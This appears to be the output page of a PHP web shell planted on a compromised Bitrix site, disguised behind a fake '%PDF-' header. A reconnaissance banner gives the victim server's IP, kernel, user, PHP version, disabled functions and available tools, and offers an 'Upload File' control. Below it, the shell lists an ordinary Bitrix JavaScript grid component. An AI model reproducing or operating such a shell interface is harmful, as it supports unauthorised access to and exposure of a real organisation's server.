%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 52.15.91.44 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/rest.integration.grid/templates/.default/ |
Upload File : |
BX.ready( function () { BX.namespace('BX.rest.integration'); if (BX.rest.integration.grid) { return; } var Grid = function () {}; Grid.prototype = { init: function (options) { this.gridId = options.gridId; // todo delete this hack // it is here to prevent grid's title changing after filter apply if(window !== window.top && BX.type.isFunction(top.BX.ajax.UpdatePageData)) { top.BX.ajax.UpdatePageData = (function() {}); } }, reloadData: function () { if (restIntegrationGridComponent.gridId.length > 0) { var reloadParams = {apply_filter: 'Y'}; var gridObject = BX.Main.gridManager.getById(restIntegrationGridComponent.gridId); if (gridObject.hasOwnProperty('instance')) { gridObject.instance.reloadTable('POST', reloadParams); } } }, delete: function (id, code) { BX.ajax.runComponentAction( 'bitrix:rest.integration.grid', 'delete', { mode: 'class', signedParameters: restIntegrationGridComponent.signetParameters, data: { id: id }, analyticsLabel: { type: 'integrationDelete', integrationCode: code } } ).then( function (response) { if (!!response.data && !!response.data.result) { if (response.data.result === 'success') { BX.rest.integration.grid.reloadData(); } else if (!!response.data.errors) { var key; for(key in response.data.errors) { BX.UI.Notification.Center.notify( { content: response.data.errors[key] } ); } } } } ); } }; BX.rest.integration.grid = new Grid(); } );